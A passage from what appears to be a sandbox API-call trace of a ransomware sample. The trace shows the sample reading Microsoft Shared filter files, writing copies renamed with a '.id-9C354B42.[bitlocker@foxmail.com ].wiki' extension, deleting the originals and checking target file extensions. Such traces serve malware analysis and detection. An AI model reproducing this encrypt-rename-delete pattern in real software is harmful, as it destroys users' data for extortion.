Shared\\Filters\\VISFILT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0062.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0062.254] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.256] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.257] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.350] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.350] ReadFile (in: hFile=0x1f8, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.355] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.355] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.355] ReadFile (in: hFile=0x1f8, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.379] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.379] WriteFile (in: hFile=0x1f8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0062.541] SetEndOfFile (hFile=0x1f8) returned 1 [0062.541] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x4165048 [0062.998] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.998] WriteFile (in: hFile=0x1f8, lpBuffer=0x4165048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x4165048*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.000] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.000] WriteFile (in: hFile=0x1f8, lpBuffer=0x4165048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x4165048*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.002] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.002] WriteFile (in: hFile=0x1f8, lpBuffer=0x4165048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x4165048*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.003] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4165048 | out: hHeap=0x6c0000) returned 1 [0063.003] CloseHandle (hObject=0x1f8) returned 1 [0063.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString=".doc") returned 4 [0063.004] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString=".docx") returned 5 [0063.004] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0063.004] lstrlenW (lpString=".pdf") returned 4 [0063.004] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString=".xls") returned 4 [0063.004] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString=".xlsx") returned 5 [0063.004] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0063.004] lstrlenW (lpString=".ppt") returned 4 [0063.004] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString=".zip") returned 4 [0063.004] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString=".rar") returned 4 [0063.004] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString=".bz2") returned 4 [0063.004] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.004] lstrlenW (lpString=".7z") returned 3 [0063.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString=".dbf") returned 4 [0063.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString=".1cd") returned 4 [0063.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString=".jpg") returned 4 [0063.004] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.004] lstrlenW (lpString=".doc") returned 4 [0063.005] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.005] lstrlenW (lpString=".docx") returned 5 [0063.005] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0063.005] lstrlenW (lpString=".pdf") returned 4 [0063.005] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.005] lstrlenW (lpString=".xls") returned 4 [0063.005] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.005] lstrlenW (lpString=".xlsx") returned 5 [0063.005] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0063.005] lstrlenW (lpString=".ppt") returned 4 [0063.005] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.005] lstrlenW (lpString=".zip") returned 4 [0063.005] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.005] lstrlenW (lpString=".rar") returned 4 [0063.005] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.005] lstrlenW (lpString=".bz2") returned 4 [0063.005] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.005] lstrlenW (lpString=".7z") returned 3 [0063.005] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.005] lstrlenW (lpString=".dbf") returned 4 [0063.005] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.005] lstrlenW (lpString=".1cd") returned 4 [0063.005] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0063.005] lstrlenW (lpString=".jpg") returned 4 [0063.005] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.005] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0063.005] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0063.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.006] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=712592) returned 1 [0063.006] CloseHandle (hObject=0x1f8) returned 1 [0063.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0063.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.006] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.006] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.007] GetLastError () returned 0x0 [0063.007] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xadf90, lpOverlapped=0x0) returned 1 [0063.025] WriteFile (in: hFile=0x240, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0063.037] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.037] WriteFile (in: hFile=0x240, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.038] SetEndOfFile (hFile=0x240) returned 1 [0063.038] CloseHandle (hObject=0x240) returned 1 [0063.038] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.038] SetEndOfFile (hFile=0x1f8) returned 1 [0063.308] CloseHandle (hObject=0x1f8) returned 1 [0063.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0063.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.309] lstrlenW (lpString=".doc") returned 4 [0063.309] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.309] lstrlenW (lpString=".docx") returned 5 [0063.309] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.309] lstrlenW (lpString=".pdf") returned 4 [0063.309] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.309] lstrlenW (lpString=".xls") returned 4 [0063.309] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.309] lstrlenW (lpString=".xlsx") returned 5 [0063.309] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.309] lstrlenW (lpString=".ppt") returned 4 [0063.309] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.309] lstrlenW (lpString=".zip") returned 4 [0063.309] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.309] lstrlenW (lpString=".rar") returned 4 [0063.309] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.309] lstrlenW (lpString=".bz2") returned 4 [0063.309] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.309] lstrlenW (lpString=".7z") returned 3 [0063.309] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString=".dbf") returned 4 [0063.310] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString=".1cd") returned 4 [0063.310] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString=".jpg") returned 4 [0063.310] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString=".doc") returned 4 [0063.310] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.310] lstrlenW (lpString=".docx") returned 5 [0063.310] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.310] lstrlenW (lpString=".pdf") returned 4 [0063.310] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.310] lstrlenW (lpString=".xls") returned 4 [0063.310] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.310] lstrlenW (lpString=".xlsx") returned 5 [0063.310] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.310] lstrlenW (lpString=".ppt") returned 4 [0063.310] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString=".zip") returned 4 [0063.310] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.310] lstrlenW (lpString=".rar") returned 4 [0063.310] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.310] lstrlenW (lpString=".bz2") returned 4 [0063.310] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.310] lstrlenW (lpString=".7z") returned 3 [0063.310] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.310] lstrlenW (lpString=".dbf") returned 4 [0063.310] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.311] lstrlenW (lpString=".1cd") returned 4 [0063.311] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0063.311] lstrlenW (lpString=".jpg") returned 4 [0063.311] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.311] lstrcmpiW (lpString1=".CGM", lpString2=".wiki") returned -1 [0063.311] lstrlenW (lpString="MS.CGM") returned 6 [0063.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.311] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1908) returned 1 [0063.311] CloseHandle (hObject=0x1f8) returned 1 [0063.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0063.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.312] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.312] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0063.721] GetLastError () returned 0x0 [0063.721] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x774, lpOverlapped=0x0) returned 1 [0063.724] WriteFile (in: hFile=0x234, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x780, lpOverlapped=0x0) returned 1 [0063.725] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.725] WriteFile (in: hFile=0x234, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0063.725] SetEndOfFile (hFile=0x234) returned 1 [0063.725] CloseHandle (hObject=0x234) returned 1 [0063.725] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.725] SetEndOfFile (hFile=0x1f8) returned 1 [0063.726] CloseHandle (hObject=0x1f8) returned 1 [0063.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.726] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.727] lstrlenW (lpString=".doc") returned 4 [0063.727] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString=".docx") returned 5 [0063.727] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0063.727] lstrlenW (lpString=".pdf") returned 4 [0063.727] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString=".xls") returned 4 [0063.727] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString=".xlsx") returned 5 [0063.727] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0063.727] lstrlenW (lpString=".ppt") returned 4 [0063.727] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.727] lstrlenW (lpString=".zip") returned 4 [0063.727] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString=".rar") returned 4 [0063.727] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString=".bz2") returned 4 [0063.727] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0063.727] lstrlenW (lpString=".7z") returned 3 [0063.727] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.727] lstrlenW (lpString=".dbf") returned 4 [0063.727] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.727] lstrlenW (lpString=".1cd") returned 4 [0063.727] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.727] lstrlenW (lpString=".jpg") returned 4 [0063.727] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0063.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.728] lstrlenW (lpString=".doc") returned 4 [0063.728] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString=".docx") returned 5 [0063.728] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0063.728] lstrlenW (lpString=".pdf") returned 4 [0063.728] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString=".xls") returned 4 [0063.728] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString=".xlsx") returned 5 [0063.728] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0063.728] lstrlenW (lpString=".ppt") returned 4 [0063.728] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.728] lstrlenW (lpString=".zip") returned 4 [0063.728] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString=".rar") returned 4 [0063.728] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString=".bz2") returned 4 [0063.728] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0063.728] lstrlenW (lpString=".7z") returned 3 [0063.728] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0063.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.728] lstrlenW (lpString=".dbf") returned 4 [0063.728] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0063.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.728] lstrlenW (lpString=".1cd") returned 4 [0063.728] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0063.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0063.728] lstrlenW (lpString=".jpg") returned 4 [0063.728] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0063.728] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0063.729] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0063.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: 